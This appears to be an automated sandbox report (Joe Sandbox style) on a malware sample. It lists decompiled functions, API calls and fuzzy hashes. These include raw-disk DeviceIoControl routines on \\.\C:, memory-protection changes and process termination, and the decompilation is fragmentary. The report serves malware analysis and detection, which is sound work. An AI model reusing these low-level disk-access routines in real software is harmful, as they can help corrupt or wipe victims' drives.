0x0040bd10
0x0040bd1a
0x0040bd20
0x0040bd23
0x0040bd28
0x00000000
0x0040bd28
0x00409e78
0x00000000
0x00409e78
0x00408838
0x00000000
0x00408838
0x004030b2
0x00000000

APIs

Part of subcall function 0040895B: FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4
Part of subcall function 0040895B: CreateFileA.KERNELBASE(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
Part of subcall function 0040895B: DeviceIoControl.KERNELBASE(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

CreateFileA.KERNELBASE(?,C0000000,00000003,00000000,00000003,30000080,00000000), ref: 0040309A
DeviceIoControl.KERNELBASE(00000218,0007405C,00000000,00000000,0046CB60,00000008,?,00000000), ref: 0040882A

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile$ChangeCloseFindNotification
String ID:
API String ID: 678468364-0
Opcode ID: f40e64bbfca4cb1d53614c19df2d38540b9dd2651b1b1209df5de0d054ee8c58
Instruction ID: a0e7df79db3949de73361334ad2b5bb9c35e9f163141fb49d4e1771874b744e5
Opcode Fuzzy Hash: f40e64bbfca4cb1d53614c19df2d38540b9dd2651b1b1209df5de0d054ee8c58
Instruction Fuzzy Hash: FB317574F50201EBD750DB61FDC2B663364A704B08F10863AE985A62E0F7B8A5029F6F

Uniqueness

Uniqueness Score: -1.00%

Function 00403923 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403923(long* __ecx, char _a4) {
				long* _v8;
				void* _v12;
				void* _t15;

				_v8 = __ecx;
				_t3 =  &_a4; // 0x40234a
				 *_v8 =  *_t3;
				_t15 = LocalAlloc(0x40,  *_v8); // executed
				_v12 = _t15;
				_v8[2] = _v12;
				_v8[1] = _v12;
				return _v8;
			}

0x00403929
0x0040392f
0x00403932
0x0040393c
0x00403942
0x0040394b
0x00403954
0x0040395d

APIs

LocalAlloc.KERNELBASE(00000040,00000000,0040234A,00000000), ref: 0040393C

Strings

J#@, xrefs: 0040392F

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: J#@
API String ID: 3494564517-1245308917
Opcode ID: 19467080a526decec66838046e26b9bb124c136d8231779d530f3707eec05e2f
Instruction ID: 96f7a68253a7caa59ed99d58a6af94cef16a1ec6a7eb00646cb3d5ddcbfd36b8
Opcode Fuzzy Hash: 19467080a526decec66838046e26b9bb124c136d8231779d530f3707eec05e2f
Instruction Fuzzy Hash: B8F09BB8E04208EFCB04DF88D68189DFBF5EB48310F2081A9E948A7340D630AE41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 024D0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,024D0223,?,?), ref: 024D0E19
SetErrorMode.KERNELBASE(00000000,?,?,024D0223,?,?), ref: 024D0E1E

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 2534521eb869227801796736858f0ec2cd7b9ef7bf6d997dca183877aacf320b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 24D0123114512877D7002AA4DC09BCE7B1CDF05B66F008011FB0DD9180C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B485 Relevance: 1.6, APIs: 1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B485(void* __eflags) {
				intOrPtr _v8;
				void* _v16;
				long _v20;
				long _v24;
				int _v28;
				void* _v1053;
				int _t99;
				void* _t102;
				void* _t152;
				void* _t166;

				_t102 = _t166;
				_v8 =  *((intOrPtr*)(_t102 + 4));
				_v24 = 0;
				_v20 = 0;
				_v16 =  &_v1053 & 0xfffffff0;
				E00405BEE(_v16, 0, 0x260);
				 *_v16 = 0x2c;
				 *((char*)(_v16 + 3)) = 0;
				 *((char*)(_v16 + 4)) = 1;
				 *((char*)(_v16 + 5)) = 0;
				 *((char*)(_v16 + 6)) = 0xa;
				 *((char*)(_v16 + 7)) = 0x20;
				 *((char*)(_v16 + 8)) = 1;
				 *((intOrPtr*)(_v16 + 0xc)) = 0x200;
				 *((intOrPtr*)(_v16 + 0x10)) = 0x1388;
				 *((intOrPtr*)(_v16 + 0x14)) = _v16 + 0x60 - _v16;
				 *((intOrPtr*)(_v16 + 0x18)) = _v16 + 0x40 - _v16;
				 *((char*)(_v16 + 0x1c)) = 0x28;
				 *((char*)(_v16 + 0x1d)) = E0040CB28( *(_t102 + 8), 0x18,  *((intOrPtr*)(_t102 + 0xc))) & 0x000000ff;
				 *((char*)(_v16 + 0x1d)) = E0040CB28( *(_t102 + 8), 0x10,  *((intOrPtr*)(_t102 + 0xc))) & 0x000000ff;
				 *((char*)(_v16 + 0xbadbc9)) = E0040CB28( *(_t102 + 8), 8,  *((intOrPtr*)(_t102 + 0xc))) & 0x000000ff;
				 *((char*)(_v16 + 0x21)) =  *(_t102 + 8) & 0x000000ff;
				 *((char*)(_v16 + 0xbadbc9)) = 1;
				_v20 = _v16 + 0x60 - _v16 +  *((intOrPtr*)(_v16 + 0xc));
				_t152 =  *0x46c468; // 0x218
				_t99 = DeviceIoControl(_t152, 0x4d004, _v16, _v20, _v16, _v20,  &_v24, 0); // executed
				_v28 = _t99;
				memcpy( *(_t102 + 0x10), _v16 + 0x60, 0x80 << 2);
				return _v28;
			}

0x0040b486
0x0040b495
0x0040b4a3
0x0040b4aa
0x0040b4ba
0x0040b4c8
0x0040b4d8
0x0040b4de
0x0040b4e5
0x0040b4ec
0x0040b4f3
0x0040b4fa
0x0040b501
0x0040b508
0x0040b512
0x0040b525
0x0040b534
0x0040b542
0x0040b566
0x0040b58a
0x0040b5ae
0x0040b5cb
0x0040b5da
0x0040b5ee
0x0040b60c
0x0040b613
0x0040b619
0x0040b62a
0x0040b637

APIs

DeviceIoControl.KERNELBASE(00000218,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 61738139d7721975275484778ac13903525e9063b07367c5274bb8a2ff343b39
Instruction ID: 955b2810cad582ab64bab9f2fc00926d3d94ddd31486b38c3d76b0e6824925a9
Opcode Fuzzy Hash: 61738139d7721975275484778ac13903525e9063b07367c5274bb8a2ff343b39
Instruction Fuzzy Hash: CF514975A00208EFEB04CF98C591B9EBBB1EF94304F2881E9D9006B386C675EF41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040CCC4 Relevance: 1.6, APIs: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CCC4(signed int _a4, signed int _a8, void* _a12) {
				void* _v8;
				long _v12;
				long _v16;
				int _v20;
				void* _v1029;

				_v16 = 0;
				_v12 = 0;
				_v8 =  &_v1029 & 0xfffffff0;
				if(_a8 <= 0) {
					if(_a4 <= 0xffffffff) {
						__ecx = _v8;
						__eax = E00405BEE(_v8, 0, 0x260);
						__edx = 0x2c;
						__eax = _v8;
						 *_v8 = __dx;
						__ecx = _v8;
						 *((char*)(_v8 + 3)) = 0;
						__edx = _v8;
						 *((char*)(_v8 + 4)) = 1;
						__eax = _v8;
						 *((char*)(_v8 + 5)) = 0;
						__ecx = _v8;
						 *((char*)(_v8 + 6)) = 0xa;
						__edx = _v8;
						 *((char*)(_v8 + 7)) = 0x20;
						__eax = _v8;
						 *((char*)(_v8 + 8)) = 0;
						__ecx = _v8;
						 *((intOrPtr*)(_v8 + 0xc)) = 0x200;
						__edx = _v8;
						 *((intOrPtr*)(_v8 + 0x10)) = 0x1388;
						_v8 = _v8 + 0x60;
						__eax = _v8 + 0x60 - _v8;
						__ecx = _v8;
						 *(_v8 + 0x14) = _v8 + 0x60 - _v8;
						_v8 = _v8 + 0x40;
						__edx = _v8 + 0x40 - _v8;
						__eax = _v8;
						 *(_v8 + 0x18) = _v8 + 0x40 - _v8;
						__ecx = 1;
						__edx = 0;
						__eax = _v8;
						 *((char*)(_v8 + 0x1c)) = 0x2a;
						__eax = _a4;
						__edx = _a8;
						E0040CB28(_a4, 1, __edx) = __eax & 0x000000ff;
						__edx = __edx & 0x00000000;
						__ecx = 1;
						__ecx = 1 << 1;
						__edx = _v8;
						 *((char*)(_v8 + 0x1d)) = __al;
						__eax = _a4;
						__edx = _a8;
						E0040CB28(_a4, 1 << 1, __edx) = __eax & 0x000000ff;
						__edx = __edx & 0x00000000;
						__ecx = 1;
						__ecx = 3;
						__edx = _v8;
						 *((char*)(_v8 + 0x1d)) = __al;
						__eax = _a4;
						__edx = _a8;
						E0040CB28(_a4, 3, __edx) = __eax & 0x000000ff;
						__edx = __edx & 0x00000000;
						1 = 1 << 2;
						__edx = _v8;
						 *((char*)(_v8 + 0xbadbc9)) = __al;
						_a4 = _a4 & 0x000000ff;
						_a8 = _a8 & 0x00000000;
						1 = 5;
						__ecx = _v8;
						 *((char*)(_v8 + 0x21)) = __al;
						1 = 1 << 3;
						__eax = _v8;
						 *((char*)(_v8 + 0xbadbc9)) = 1;
						_v8 = _v8 + 0x60;
						__ecx = _v8 + 0x60 - _v8;
						__edx = _v8;
						__ecx = _v8 + 0x60 - _v8 +  *((intOrPtr*)(__edx + 0xc));
						_v12 = _v8 + 0x60 - _v8 +  *((intOrPtr*)(__edx + 0xc));
						__ecx = 0x80;
						__eax = memcpy(_v8 + 0x60, _a12, 0x80 << 2);
						__ecx = 0;
						__eax =  &_v16;
						__ecx = _v12;
						__edx = _v8;
						__eax = _v12;
						__ecx = _v8;
						__edx =  *0x46c468; // 0x218
						__eax = DeviceIoControl(__edx, 0x4d004, _v8, _v12, _v8, _v12,  &_v16, 0); // executed
						_v20 = __eax;
						__eax = _v20;
						return _v20;
					}
				}
				return 0;
			}

0x0040cccf
0x0040ccd6
0x0040cce6
0x0040cced
0x0040ccf7
0x0040dad8
0x0040dadc
0x0040dae4
0x0040dae9
0x0040daec
0x0040daef
0x0040daf2
0x0040daf6
0x0040daf9
0x0040dafd
0x0040db00
0x0040db04
0x0040db07
0x0040db0b
0x0040db0e
0x0040db12
0x0040db15
0x0040db19
0x0040db1c
0x0040db23
0x0040db26
0x0040db30
0x0040db33
0x0040db36
0x0040db39
0x0040db3f
0x0040db42
0x0040db45
0x0040db48
0x0040db4b
0x0040db50
0x0040db53
0x0040db56
0x0040db5b
0x0040db5e
0x0040db68
0x0040db6d
0x0040db70
0x0040db75
0x0040db77
0x0040db7a
0x0040db7e
0x0040db81
0x0040db8b
0x0040db90
0x0040db93
0x0040db98
0x0040db9b
0x0040db9e
0x0040dba2
0x0040dba5
0x0040dbaf
0x0040dbb4
0x0040dbbc
0x0040dbbf
0x0040dbc2
0x0040dbc9
0x0040dbd1
0x0040dbd9
0x0040dbdc
0x0040dbdf
0x0040dbe8
0x0040dbeb
0x0040dbee
0x0040dbf6
0x0040dbf9
0x0040dbfc
0x0040dbff
0x0040dc02
0x0040dc0b
0x0040dc13
0x0040dc13
0x0040dc17
0x0040dc1b
0x0040dc1f
0x0040dc23
0x0040dc27
0x0040dc30
0x0040dc37
0x0040dc3d
0x0040dc40
0x00000000
0x0040dc40
0x0040ccfd
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52feb7105ccc154861b194a815cc79ff19998883af9ca8cb1e6121868c2185b6
Instruction ID: b0a1cca4c76cdf7f661d8f2e5d02ec42dbbd4e19700d0716b40d81d1197e7497
Opcode Fuzzy Hash: 52feb7105ccc154861b194a815cc79ff19998883af9ca8cb1e6121868c2185b6
Instruction Fuzzy Hash: A6513975A00108EFDB08CF98C594B9EBBB1EB94304F2481A9E9056B3C2C775EF41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040B453 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B453(intOrPtr __eax, void* __edi) {
				intOrPtr _t9;
				void* _t12;
				void* _t13;
				void* _t19;
				void* _t20;

				_t19 = __edi;
				_t9 = __eax;
				_t12 = 2;
				asm("loop 0x7f");
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				do {
					_t13 = _t12 - 1;
					if(_t13 == 0) {
						do {
							 *((intOrPtr*)(_t20 - 4)) =  *((intOrPtr*)(_t20 - 4)) - 0x1000;
						} while ( *((char*)( *((intOrPtr*)(_t20 - 4)))) != 0x4d ||  *((char*)( *((intOrPtr*)(_t20 - 4)) + 1)) != 0x5a);
						_t9 =  *((intOrPtr*)(_t20 - 4));
						_t13 = 0x1000;
						goto L1;
					} else {
						_t9 = _t9 + 1;
						L1:
						goto L2;
					}
					L13:
					L2:
					_push(_t9);
					_t12 = _t13 + 1;
					_t19 = _t19 + 1;
					_t20 = _t20 + 1;
				} while (_t20 != 0 ||  *((intOrPtr*)(_t9 + 4)) != 0x59465256);
				return  *((intOrPtr*)(_t20 - 4));
				goto L13;
			}

APIs

DeviceIoControl.KERNELBASE(00000218,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction ID: 4278b43e27663415cba18f20cd4f792bdb1a65b806582fdca38cb5ba5a4c1545
Opcode Fuzzy Hash: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction Fuzzy Hash: 5D515B75A04244DFEB08CF98C590BAABBB2EF94304F2881E9D9015B387C675EE41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040158C Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040158C() {
				long _v8;
				intOrPtr _v12;
				void _v16;
				int _t6;
				void* _t7;
				void* _t12;

				_t12 =  *0x46d00c; // 0x218
				_t6 = DeviceIoControl(_t12, 0x7405c, 0, 0,  &_v16, 8,  &_v8, 0); // executed
				if(_t6 == 0) {
					return 0;
				}
				_t7 = E00403808();
				asm("cdq");
				return E00407EC0(_v16, _v12, _t7, _t12);
			}

0x004015a7
0x004015ae
0x004015b6
0x00000000
0x004015be
0x00401253
0x00401258
0x00000000

APIs

DeviceIoControl.KERNELBASE(00000218,0007405C,00000000,00000000,?,00000008,00405A0B,00000000), ref: 004015AE

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 98b00b6936f3a10efa9a674e71bb74e0dcfe603724a387bcbcad0dffbf1469cf
Instruction ID: 99371d9e342f55f1bbc85bd8c476da0c26e9402948ab4de55a1e54ae49f6dd3b
Opcode Fuzzy Hash: 98b00b6936f3a10efa9a674e71bb74e0dcfe603724a387bcbcad0dffbf1469cf
Instruction Fuzzy Hash: 5BF03076E44204BAE714EBA48C82F6B776DE744704F1081A9B605F61C0EA74AA018BBA

Uniqueness

Uniqueness Score: -1.00%

Function 00401352 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00401352(intOrPtr _a8, intOrPtr _a12, long _a16, DWORD* _a20) {
				void* _v4;
				long _v8;
				intOrPtr _v12;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t24;
				void* _t25;
				void* _t32;

				_pop(_t26);
				asm("sbb dword [eax+ebp*8], 0xaee35f9e");
				asm("adc dl, [ss:ebp-0x1374aa86]");
				_push(_t17);
				_v12 = E00404873(E00403D7B(_t17, _t24, _t25), 0x30dbca36);
				_t15 = E00404B1D(_t32, _a8, _a12);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v4 = _t18;
				_v8 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v4, _v8, _a16, _a20);
			}

0x00401352
0x00401353
0x0040135a
0x00401364
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction ID: a34d84a8aa74edc03bf23277289f2878ef58b524965e171c6cbb9bf5a1c13c13
Opcode Fuzzy Hash: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction Fuzzy Hash: 6EF01276C0020CFFCF01AFA5C995CADBF75FF08204B0484AEF90426162DB369A24EB04

Uniqueness

Uniqueness Score: -1.00%

Function 0040135E Relevance: 1.5, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040135E(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, long _a12, DWORD* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t23;

				_t23 = __eflags;
				_v16 = E00404873(E00403D7B(_t17, __edi, __esi), 0x30dbca36);
				_t15 = E00404B1D(_t23, _a4, _a8);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v8 = _t18;
				_v12 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v8, _v12, _a12, _a16);
			}

0x0040135e
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction ID: c3339b175f8b132734afde4b87bcd326777cd273dbfa93b5593f16fc1374389e
Opcode Fuzzy Hash: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction Fuzzy Hash: 3DF0F876C0020CBFCF01AFA5D955C9DBFB9FF48200F0084AEB91466162D7369A20AB54

Uniqueness

Uniqueness Score: -1.00%

Function 004047DB Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004047DB(void* __edx) {
				int _t3;
				void* _t7;

				_t3 = FindCloseChangeNotification( *(_t7 - 4)); // executed
				return _t3;
			}

0x004047e4
0x004047ed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 425319291f41f57d8ddd7af97c040428323980b2498e4bb20d22353919547d1b
Instruction ID: c9214f333475bc89ecd2d70b7295bcdaad91083d6e94d736a289ab9c47a493dc
Opcode Fuzzy Hash: 425319291f41f57d8ddd7af97c040428323980b2498e4bb20d22353919547d1b
Instruction Fuzzy Hash: B1B01261D0D14C13CF209B3168041947B29E6D5609B1003DCEC0D201229B13D41047A3

Uniqueness

Uniqueness Score: -1.00%

Function 024D0920 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 024D0929

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 8d14ae05a9dad9c05cb957789c0d7b66081069df36a9c1cd08e0a696cbd40e96
Instruction ID: 30d7a66bfda154b9128336625e3198fa971fb7c00ac6e6305f959e87c74458a5
Opcode Fuzzy Hash: 8d14ae05a9dad9c05cb957789c0d7b66081069df36a9c1cd08e0a696cbd40e96
Instruction Fuzzy Hash: 919002A034415112D920259C0C01B0500011791634F304710B131BA2D4D84096004115

Uniqueness

Uniqueness Score: -1.00%

Function 0040930C Relevance: 1.3, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040930C(void* __ecx, signed int _a4, signed int _a8) {
				void* _v8;
				void* _t7;

				_t7 = LocalAlloc(0x40, _a4 * _a8); // executed
				_v8 = _t7;
				return _v8;
			}

0x0040931a
0x00409320
0x00409329

APIs

LocalAlloc.KERNELBASE(00000040,?,?,?,00401D6F,?,00000004), ref: 0040931A

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: fbf826679867081d8f65b02a643174af9db75dbf243e506da0a382be49be1460
Instruction ID: c1ed8782e068432966769c92f22ccf836d2bf65aa78af723960710e09a7f87a5
Opcode Fuzzy Hash: fbf826679867081d8f65b02a643174af9db75dbf243e506da0a382be49be1460
Instruction Fuzzy Hash: 6BD0C975A0420CBBCB00DF88E942D59BBECEB09214F004195FE0CDB240D671AE008A95

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC5F Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CC5F(long _a4) {
				void* _t3;

				_t3 = LocalAlloc(0, _a4); // executed
				return _t3;
			}

0x0040cc68
0x0040cc6f

APIs

LocalAlloc.KERNELBASE(00000000,00405A18,?,00405A18,00000070,?,?,?,00401322), ref: 0040CC68

Memory Dump Source

Source File: 0000000B.00000002.491291370.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.491291370.0000000000410000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_B7BD.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: f3e2705f243469e8b18360c5bb887dd51615c543d62bfa3a82b819ceace6c8ed
Instruction ID: 4f1da3139afef55b26450597318142262e87c8731a1b2672ee4cfa4472a97f69
Opcode Fuzzy Hash: f3e2705f243469e8b18360c5bb887dd51615c543d62bfa3a82b819ceace6c8ed
Instruction Fuzzy Hash: 7CB0123564430CBBD6006BC8EC05FE5379CE708A1AF000010FA0C86140D6A0B84046A6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 024D97A9 Relevance: 10.6, APIs: 7, Instructions: 78memorylibrarynativeCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 024D97DB
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 024D9848
RtlEnterCriticalSection.NTDLL(DB51E8EC), ref: 024D9877
RtlInitUnicodeString.NTDLL(00000180,0046C2D0), ref: 024D988D
RtlInitUnicodeString.NTDLL(00000178,0046C2D0), ref: 024D98A3
RtlLeaveCriticalSection.NTDLL(DB51E8EC), ref: 024D98B0
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,024D45FA), ref: 024D98C1

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID:
API String ID: 3728205514-0
Opcode ID: 6e5bf9b15a20b12070a1502c380209b69e863ef8a6c3abdc0817c6ba158b8883
Instruction ID: 9c2df8de425cdc0dafda45e74e234eb9772b7c0dfd8dd939acff6f900a2460d6
Opcode Fuzzy Hash: 6e5bf9b15a20b12070a1502c380209b69e863ef8a6c3abdc0817c6ba158b8883
Instruction Fuzzy Hash: 213184B0940208EFCB04DFA0DCD5FAD7775AB48301F1081AAEA01A72D0E7B4AA85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 024D97AA Relevance: 10.6, APIs: 7, Instructions: 78memorylibrarynativeCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 024D97DB
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 024D9848
RtlEnterCriticalSection.NTDLL(DB51E8EC), ref: 024D9877
RtlInitUnicodeString.NTDLL(00000180,0046C2D0), ref: 024D988D
RtlInitUnicodeString.NTDLL(00000178,0046C2D0), ref: 024D98A3
RtlLeaveCriticalSection.NTDLL(DB51E8EC), ref: 024D98B0
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,024D45FA), ref: 024D98C1

Memory Dump Source

Source File: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24d0000_B7BD.jbxd

Yara matches

